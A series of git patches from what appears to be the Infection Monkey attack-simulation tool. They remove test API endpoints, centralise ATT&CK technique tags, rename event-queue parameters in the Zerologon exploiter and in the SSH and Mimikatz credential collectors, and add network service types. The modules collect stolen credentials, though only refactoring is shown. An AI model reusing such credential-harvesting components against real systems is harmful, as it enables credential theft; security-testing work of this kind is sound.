.../blackbox/island_client/monkey_island_client.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 28745b5b8..28dc1f135 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -15,7 +15,6 @@ SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5 GET_AGENTS_ENDPOINT = "api/agents" GET_LOG_ENDPOINT = "api/agent-logs" GET_MACHINES_ENDPOINT = "api/machines" -MONKEY_TEST_ENDPOINT = "api/test/monkey" TELEMETRY_TEST_ENDPOINT = "api/test/telemetry" LOGGER = logging.getLogger(__name__) @@ -147,12 +146,6 @@ class MonkeyIslandClient(object): ) return MonkeyIslandClient.get_test_query_results(response) - def get_all_monkeys_from_db(self): - response = self.requests.get( - MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None) - ) - return MonkeyIslandClient.get_test_query_results(response) - def get_agents(self) -> Sequence[Agent]: response = self.requests.get(GET_AGENTS_ENDPOINT) From b713cce893cfbd220d1460ae6d3ba2b71a7e21d3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Oct 2022 15:41:07 -0400 Subject: [PATCH 022/144] Island: Remove /api/test/monkey endpoint --- CHANGELOG.md | 1 + monkey/monkey_island/cc/app.py | 2 -- .../blackbox/monkey_blackbox_endpoint.py | 16 ---------------- 3 files changed, 1 insertion(+), 18 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 5b4eac50c..af69caa97 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -115,6 +115,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - "/api/island-configuration" endpoint. #2003 - "-t/--tunnel" from agent command line arguments. #2216 - "/api/monkey-control/neets-to-stop". #2261 +- "GET /api/test/monkey" endpoint. #2269 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 18af5f2a6..f842d8ffc 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -32,7 +32,6 @@ from monkey_island.cc.resources.AbstractResource import AbstractResource from monkey_island.cc.resources.attack.attack_report import AttackReport from monkey_island.cc.resources.auth import Authenticate, Register, RegistrationStatus, init_jwt from monkey_island.cc.resources.blackbox.log_blackbox_endpoint import LogBlackboxEndpoint -from monkey_island.cc.resources.blackbox.monkey_blackbox_endpoint import MonkeyBlackboxEndpoint from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import ( TelemetryBlackboxEndpoint, ) @@ -207,7 +206,6 @@ def init_restful_endpoints(api: FlaskDIWrapper): # API Spec: Fix all the following endpoints, see comments in the resource classes # Note: Preferably, the API will provide a rich feature set and allow access to all of the # necessary data. This would make these endpoints obsolete. - api.add_resource(MonkeyBlackboxEndpoint) api.add_resource(LogBlackboxEndpoint) api.add_resource(TelemetryBlackboxEndpoint) diff --git a/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py deleted file mode 100644 index 4a140f265..000000000 --- a/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py +++ /dev/null @@ -1,16 +0,0 @@ -from bson import json_util -from flask import request - -from monkey_island.cc.database import mongo -from monkey_island.cc.resources.AbstractResource import AbstractResource -from monkey_island.cc.resources.request_authentication import jwt_required - - -class MonkeyBlackboxEndpoint(AbstractResource): - # API Spec: Rename to noun, BlackboxTestsMonkeys or something - urls = ["/api/test/monkey"] - - @jwt_required - def get(self, **kw): - find_query = json_util.loads(request.args.get("find_query")) - return {"results": list(mongo.db.monkey.find(find_query))} From 6ae767632201b528ab89f98b375b0dd234b2b651 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Oct 2022 15:43:25 -0400 Subject: [PATCH 023/144] BB: Pass generator instead of list comprehension to all() This will allow a short-circuit. --- envs/monkey_zoo/blackbox/island_client/monkey_island_client.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 28dc1f135..4f723e8a7 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -172,4 +172,4 @@ class MonkeyIslandClient(object): def is_all_monkeys_dead(self): agents = self.get_agents() - return all([a.stop_time is not None for a in agents]) + return all((a.stop_time is not None for a in agents)) From bbbb1ac773547fd52955a2c7314542e4dcde64b0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Oct 2022 16:08:33 -0400 Subject: [PATCH 024/144] Island: Remove disused LogBlackboxEndpoint --- CHANGELOG.md | 1 + monkey/monkey_island/cc/app.py | 2 -- .../blackbox/log_blackbox_endpoint.py | 20 ------------------- 3 files changed, 1 insertion(+), 22 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py diff --git a/CHANGELOG.md b/CHANGELOG.md index af69caa97..66a2d865e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -116,6 +116,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - "-t/--tunnel" from agent command line arguments. #2216 - "/api/monkey-control/neets-to-stop". #2261 - "GET /api/test/monkey" endpoint. #2269 +- "GET /api/test/log" endpoint. #2269 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index f842d8ffc..63ee6a72b 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -31,7 +31,6 @@ from monkey_island.cc.resources import ( from monkey_island.cc.resources.AbstractResource import AbstractResource from monkey_island.cc.resources.attack.attack_report import AttackReport from monkey_island.cc.resources.auth import Authenticate, Register, RegistrationStatus, init_jwt -from monkey_island.cc.resources.blackbox.log_blackbox_endpoint import LogBlackboxEndpoint from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import ( TelemetryBlackboxEndpoint, ) @@ -206,7 +205,6 @@ def init_restful_endpoints(api: FlaskDIWrapper): # API Spec: Fix all the following endpoints, see comments in the resource classes # Note: Preferably, the API will provide a rich feature set and allow access to all of the # necessary data. This would make these endpoints obsolete. - api.add_resource(LogBlackboxEndpoint) api.add_resource(TelemetryBlackboxEndpoint) diff --git a/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py deleted file mode 100644 index 643b7f592..000000000 --- a/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py +++ /dev/null @@ -1,20 +0,0 @@ -from bson import json_util -from flask import request - -from monkey_island.cc.database import database, mongo -from monkey_island.cc.resources.AbstractResource import AbstractResource -from monkey_island.cc.resources.request_authentication import jwt_required - - -class LogBlackboxEndpoint(AbstractResource): - # API Spec: Rename to noun, BlackboxTestsLogs or something - urls = ["/api/test/log"] - - @jwt_required - def get(self): - find_query = json_util.loads(request.args.get("find_query")) - log = mongo.db.log.find_one(find_query) - if not log: - return {"results": None} - log_file = database.gridfs.get(log["file_id"]) - return {"results": log_file.read().decode()} From e46bb8964d603ebb13d2758e8698ae9e499df9ee Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 5 Oct 2022 11:11:18 +0200 Subject: [PATCH 025/144] Common: Add T1003 and T1098 attack technique tags --- monkey/common/tags/__init__.py | 2 ++ monkey/common/tags/attack.py | 2 ++ 2 files changed, 4 insertions(+) diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index 1215408ec..704f4031c 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -1,5 +1,7 @@ from .attack import ( + T1003_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG, + T1098_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1203_ATTACK_TECHNIQUE_TAG, diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index dbc000d05..79ca5464b 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -1,4 +1,6 @@ +T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003" T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" +T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098" T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203" From 0ed167fb48ed68d7435900be166d433eca6535d1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 5 Oct 2022 11:13:39 +0200 Subject: [PATCH 026/144] Agent: Import attack technique tags from common in Zerologon --- monkey/infection_monkey/exploit/zerologon.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index bae4a4054..19445f6ab 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -18,6 +18,7 @@ from impacket.dcerpc.v5.dtypes import NULL from common.agent_events import CredentialsStolenEvent from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.credentials import Credentials, LMHash, NTHash, Username +from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets @@ -32,9 +33,6 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter" -T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003" -T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098" - ZEROLOGON_EVENT_TAGS = frozenset( { @@ -315,7 +313,7 @@ class ZerologonExploiter(HostExploiter): tags=ZEROLOGON_EVENT_TAGS, stolen_credentials=extracted_credentials, ) - self.event_queue.publish(credentials_stolen_event) + self.agent_event_queue.publish(credentials_stolen_event) def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]: if not self.save_HKLM_keys_locally(username, user_pwd_hashes): From 491612f9e8f97ffa4c68ead2382830018d3fea54 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 5 Oct 2022 11:21:28 +0200 Subject: [PATCH 027/144] Common: Add T1005 and T1145 attack technique tags --- monkey/common/tags/__init__.py | 2 ++ monkey/common/tags/attack.py | 2 ++ 2 files changed, 4 insertions(+) diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index 704f4031c..ea08aa9f5 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -1,9 +1,11 @@ from .attack import ( T1003_ATTACK_TECHNIQUE_TAG, + T1005_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, + T1145_ATTACK_TECHNIQUE_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG, diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index 79ca5464b..e8881dfa7 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -1,8 +1,10 @@ T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003" +T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005" T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098" T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" +T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145" T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203" T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210" T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" From c8aee645fa2888ba5f79aef790ed65848f418318 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 5 Oct 2022 11:24:52 +0200 Subject: [PATCH 028/144] Agent: Import attack technique tags from common in SSHCollector --- .../credential_collectors/ssh_collector/ssh_handler.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index e6add5589..047ee9e7b 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -6,6 +6,11 @@ from typing import Dict, Iterable, Sequence from common.agent_events import CredentialsStolenEvent from common.credentials import Credentials, SSHKeypair, Username from common.event_queue import IAgentEventQueue +from common.tags import ( + T1003_ATTACK_TECHNIQUE_TAG, + T1005_ATTACK_TECHNIQUE_TAG, + T1145_ATTACK_TECHNIQUE_TAG, +) from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem from infection_monkey.telemetry.attack.t1145_telem import T1145Telem @@ -17,9 +22,6 @@ logger = logging.getLogger(__name__) DEFAULT_DIRS = ["/.ssh/", "/"] SSH_CREDENTIAL_COLLECTOR_TAG = "ssh-credentials-collector" -T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003" -T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005" -T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145" SSH_COLLECTOR_EVENT_TAGS = frozenset( ( @@ -170,7 +172,7 @@ def to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]: def _publish_credentials_stolen_event( - collected_credentials: Credentials, event_queue: IAgentEventQueue + collected_credentials: Sequence[Credentials], event_queue: IAgentEventQueue ): credentials_stolen_event = CredentialsStolenEvent( source=get_agent_id(), From 19fcf8d053bc0e989842a747ff76efd133f4af51 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 5 Oct 2022 11:30:09 +0200 Subject: [PATCH 029/144] Agent: Import attack technique tags from common in MimikatzCollector --- .../mimikatz_collector/mimikatz_credential_collector.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py index b4bf4135e..b2e3217b3 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py @@ -4,6 +4,7 @@ from typing import Sequence from common.agent_events import CredentialsStolenEvent from common.credentials import Credentials, LMHash, NTHash, Password, Username from common.event_queue import IAgentEventQueue +from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG from infection_monkey.i_puppet import ICredentialCollector from infection_monkey.model import USERNAME_PREFIX from infection_monkey.utils.ids import get_agent_id @@ -15,8 +16,6 @@ logger = logging.getLogger(__name__) MIMIKATZ_CREDENTIAL_COLLECTOR_TAG = "mimikatz-credentials-collector" -T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003" -T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005" MIMIKATZ_EVENT_TAGS = frozenset( ( From c7e2b91735af07547e7446768f9b003adac1321f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 5 Oct 2022 11:34:50 +0200 Subject: [PATCH 030/144] Agent: Rename event_queue to agent_event_queue in MimikatzCredentialCollector --- .../mimikatz_collector/mimikatz_credential_collector.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py index b2e3217b3..4e3efd594 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py @@ -27,8 +27,8 @@ MIMIKATZ_EVENT_TAGS = frozenset( class MimikatzCredentialCollector(ICredentialCollector): - def __init__(self, event_queue: IAgentEventQueue): - self._event_queue = event_queue + def __init__(self, agent_event_queue: IAgentEventQueue): + self._agent_event_queue = agent_event_queue def collect_credentials(self, options=None) -> Sequence[Credentials]: logger.info("Attempting to collect windows credentials with pypykatz.") @@ -81,4 +81,4 @@ class MimikatzCredentialCollector(ICredentialCollector): stolen_credentials=collected_credentials, ) - self._event_queue.publish(credentials_stolen_event) + self._agent_event_queue.publish(credentials_stolen_event) From 2ece91b9dfc5bbc0001dfd0a6b3624116825cd83 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 5 Oct 2022 11:37:58 +0200 Subject: [PATCH 031/144] Agent: Rename event_queue to agent_event_queue in SSHCredentialCollector --- .../ssh_collector/ssh_credential_collector.py | 8 +++++--- .../ssh_collector/ssh_handler.py | 12 ++++++------ 2 files changed, 11 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index ed0fc1a8e..d4c1c84da 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -15,13 +15,15 @@ class SSHCredentialCollector(ICredentialCollector): SSH keys credential collector """ - def __init__(self, telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue): + def __init__( + self, telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue + ): self._telemetry_messenger = telemetry_messenger - self._event_queue = event_queue + self._agent_event_queue = agent_event_queue def collect_credentials(self, _options=None) -> Sequence[Credentials]: logger.info("Started scanning for SSH credentials") - ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._event_queue) + ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._agent_event_queue) logger.info("Finished scanning for SSH credentials") return ssh_handler.to_credentials(ssh_info) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 047ee9e7b..3776ce8ef 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -34,7 +34,7 @@ SSH_COLLECTOR_EVENT_TAGS = frozenset( def get_ssh_info( - telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue + telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue ) -> Iterable[Dict]: # TODO: Remove this check when this is turned into a plugin. if is_windows_os(): @@ -44,7 +44,7 @@ def get_ssh_info( return [] home_dirs = _get_home_dirs() - ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, event_queue) + ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, agent_event_queue) return ssh_info @@ -85,7 +85,7 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict: def _get_ssh_files( user_info: Iterable[Dict], telemetry_messenger: ITelemetryMessenger, - event_queue: IAgentEventQueue, + agent_event_queue: IAgentEventQueue, ) -> Iterable[Dict]: for info in user_info: path = info["home_dir"] @@ -127,7 +127,7 @@ def _get_ssh_files( collected_credentials = to_credentials([info]) _publish_credentials_stolen_event( - collected_credentials, event_queue + collected_credentials, agent_event_queue ) else: continue @@ -172,7 +172,7 @@ def to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]: def _publish_credentials_stolen_event( - collected_credentials: Sequence[Credentials], event_queue: IAgentEventQueue + collected_credentials: Sequence[Credentials], agent_event_queue: IAgentEventQueue ): credentials_stolen_event = CredentialsStolenEvent( source=get_agent_id(), @@ -180,4 +180,4 @@ def _publish_credentials_stolen_event( stolen_credentials=collected_credentials, ) - event_queue.publish(credentials_stolen_event) + agent_event_queue.publish(credentials_stolen_event) From 80a095b6574b325fe091070f8d5c9413331543ba Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 3 Oct 2022 14:45:29 +0300 Subject: [PATCH 032/144] Agent: Use NetworkPort instead of Port --- monkey/infection_monkey/master/ip_scan_results.py | 5 ++--- monkey/infection_monkey/master/propagator.py | 6 +++--- 2 files changed, 5 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/master/ip_scan_results.py b/monkey/infection_monkey/master/ip_scan_results.py index 06bf7cd2f..8abce95e6 100644 --- a/monkey/infection_monkey/master/ip_scan_results.py +++ b/monkey/infection_monkey/master/ip_scan_results.py @@ -1,15 +1,14 @@ from dataclasses import dataclass from typing import Dict -from common.types import PingScanData +from common.types import NetworkPort, PingScanData from infection_monkey.i_puppet import FingerprintData, PortScanData -Port = int FingerprinterName = str @dataclass class IPScanResults: ping_scan_data: PingScanData - port_scan_data: Dict[Port, PortScanData] + port_scan_data: Dict[NetworkPort, PortScanData] fingerprint_data: Dict[FingerprinterName, FingerprintData] diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 21a4708fb..f39d69d50 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -10,7 +10,7 @@ from common.agent_configuration import ( PropagationConfiguration, ScanTargetConfiguration, ) -from common.types import PingScanData, PortStatus +from common.types import NetworkPort, PingScanData, PortStatus from infection_monkey.i_puppet import ExploiterResultData, FingerprintData, PortScanData from infection_monkey.model import VictimHost, VictimHostFactory from infection_monkey.network import NetworkAddress @@ -21,7 +21,7 @@ from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.utils.threading import create_daemon_thread from . import Exploiter, IPScanner, IPScanResults -from .ip_scan_results import FingerprinterName, Port +from .ip_scan_results import FingerprinterName logger = logging.getLogger() @@ -146,7 +146,7 @@ class Propagator: @staticmethod def _process_tcp_scan_results( - victim_host: VictimHost, port_scan_data: Mapping[Port, PortScanData] + victim_host: VictimHost, port_scan_data: Mapping[NetworkPort, PortScanData] ): for psd in filter( lambda scan_data: scan_data.status == PortStatus.OPEN, port_scan_data.values() From a390c97b709941fb79a88753c3e119a57af0ae7b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 3 Oct 2022 17:59:17 +0300 Subject: [PATCH 033/144] Island: Add tcp_connections to node --- monkey/monkey_island/cc/models/node.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/monkey_island/cc/models/node.py b/monkey/monkey_island/cc/models/node.py index 715e52bb3..d992d1836 100644 --- a/monkey/monkey_island/cc/models/node.py +++ b/monkey/monkey_island/cc/models/node.py @@ -4,6 +4,7 @@ from pydantic import Field from typing_extensions import TypeAlias from common.base_models import MutableInfectionMonkeyBaseModel +from common.types import SocketAddress from . import CommunicationType, MachineID @@ -24,3 +25,6 @@ class Node(MutableInfectionMonkeyBaseModel): connections: NodeConnections """All outbound connections from this node to other machines""" + + tcp_connections: Mapping[MachineID, FrozenSet[SocketAddress]] = {} + """All successfull outbound TCP connections""" From 8bf1d1f46fb8d928640114b757c12f44a15b0e13 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 3 Oct 2022 18:01:49 +0300 Subject: [PATCH 034/144] Island, Common: Add services to machine.py --- monkey/common/types.py | 6 +++++- monkey/monkey_island/cc/models/machine.py | 7 +++++-- vulture_allowlist.py | 10 +++++++--- 3 files changed, 17 insertions(+), 6 deletions(-) diff --git a/monkey/common/types.py b/monkey/common/types.py index 499df9339..049c7b7de 100644 --- a/monkey/common/types.py +++ b/monkey/common/types.py @@ -1,7 +1,7 @@ from __future__ import annotations from dataclasses import dataclass -from enum import Enum +from enum import Enum, auto from ipaddress import IPv4Address from typing import Dict, List, Optional, Union from uuid import UUID @@ -28,6 +28,10 @@ JSONSerializable = Union[ # type: ignore[misc] ] +class NetworkServiceNameEnum(Enum): + UNKNOWN = auto() + + class NetworkPort(ConstrainedInt): """ Define network port as constrainer integer. diff --git a/monkey/monkey_island/cc/models/machine.py b/monkey/monkey_island/cc/models/machine.py index ece877b9e..9175b49a2 100644 --- a/monkey/monkey_island/cc/models/machine.py +++ b/monkey/monkey_island/cc/models/machine.py @@ -1,12 +1,12 @@ from ipaddress import IPv4Interface -from typing import Optional, Sequence +from typing import Mapping, Optional, Sequence from pydantic import Field, validator from common import OperatingSystem from common.base_models import MutableInfectionMonkeyBaseModel from common.transforms import make_immutable_sequence -from common.types import HardwareID +from common.types import HardwareID, NetworkServiceNameEnum, SocketAddress from . import MachineID @@ -35,6 +35,9 @@ class Machine(MutableInfectionMonkeyBaseModel): hostname: str = "" """The hostname of the machine""" + network_services: Mapping[SocketAddress, NetworkServiceNameEnum] + """All network services found running on the machine""" + _make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)( make_immutable_sequence ) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 0ff6b710d..62deedcd9 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -9,14 +9,13 @@ from common.agent_configuration.agent_sub_configurations import ( ) from common.agent_events import ExploitationEvent, PingScanEvent, PropagationEvent, TCPScanEvent from common.credentials import Credentials, LMHash, NTHash -from common.types import NetworkPort from infection_monkey.exploit.HostExploiter.HostExploiter import ( _publish_exploitation_event, _publish_propagation_event, ) +from common.types import NetworkPort, NetworkServiceNameEnum from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory -from monkey_island.cc.event_queue import IslandEventTopic, PyPubSubIslandEventQueue -from monkey_island.cc.models import Report +from monkey_island.cc.models import Machine, Node, Report from monkey_island.cc.models.networkmap import Arc, NetworkMap from monkey_island.cc.repository import MongoAgentRepository, MongoMachineRepository from monkey_island.cc.repository.attack.IMitigationsRepository import IMitigationsRepository @@ -340,3 +339,8 @@ SCANNED EXPLOITED CC CC_TUNNEL + +# TODO remove when 2267 is done +NetworkServiceNameEnum.UNKNOWN +Machine.network_services +Node.tcp_connections From f6ed8a997c3a84ed8540294043f2ddf4d6d7c608 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Oct 2022 12:10:47 -0400 Subject: [PATCH 035/144] Common: Rename NetworkServiceNameEnum -> NetworkService "Name" and "Enum" are redundant in this case --- monkey/common/types.py | 2 +- monkey/monkey_island/cc/models/machine.py | 4 ++-- vulture_allowlist.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/common/types.py b/monkey/common/types.py index 049c7b7de..00b77ca10 100644 --- a/monkey/common/types.py +++ b/monkey/common/types.py @@ -28,7 +28,7 @@ JSONSerializable = Union[ # type: ignore[misc] ] -class NetworkServiceNameEnum(Enum): +class NetworkService(Enum): UNKNOWN = auto() diff --git a/monkey/monkey_island/cc/models/machine.py b/monkey/monkey_island/cc/models/machine.py index 9175b49a2..96fc35e80 100644 --- a/monkey/monkey_island/cc/models/machine.py +++ b/monkey/monkey_island/cc/models/machine.py @@ -6,7 +6,7 @@ from pydantic import Field, validator from common import OperatingSystem from common.base_models import MutableInfectionMonkeyBaseModel from common.transforms import make_immutable_sequence -from common.types import HardwareID, NetworkServiceNameEnum, SocketAddress +from common.types import HardwareID, NetworkService, SocketAddress from . import MachineID @@ -35,7 +35,7 @@ class Machine(MutableInfectionMonkeyBaseModel): hostname: str = "" """The hostname of the machine""" - network_services: Mapping[SocketAddress, NetworkServiceNameEnum] + network_services: Mapping[SocketAddress, NetworkService] """All network services found running on the machine""" _make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)( diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 62deedcd9..0dbb29f50 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -13,7 +13,7 @@ from infection_monkey.exploit.HostExploiter.HostExploiter import ( _publish_exploitation_event, _publish_propagation_event, ) -from common.types import NetworkPort, NetworkServiceNameEnum +from common.types import NetworkPort, NetworkService from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from monkey_island.cc.models import Machine, Node, Report from monkey_island.cc.models.networkmap import Arc, NetworkMap From eb3daf84f1b099b8521b172974de95ac017f00a6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Oct 2022 12:13:04 -0400 Subject: [PATCH 036/144] Common: Use strings for NetworkService Enum values --- monkey/common/types.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/monkey/common/types.py b/monkey/common/types.py index 00b77ca10..55ebb4620 100644 --- a/monkey/common/types.py +++ b/monkey/common/types.py @@ -1,7 +1,7 @@ from __future__ import annotations from dataclasses import dataclass -from enum import Enum, auto +from enum import Enum from ipaddress import IPv4Address from typing import Dict, List, Optional, Union from uuid import UUID @@ -29,7 +29,14 @@ JSONSerializable = Union[ # type: ignore[misc] class NetworkService(Enum): - UNKNOWN = auto() + """ + An Enum representing network services + + This Enum represents all network services that Infection Monkey supports. The value of each + member is the member's name in all lower-case 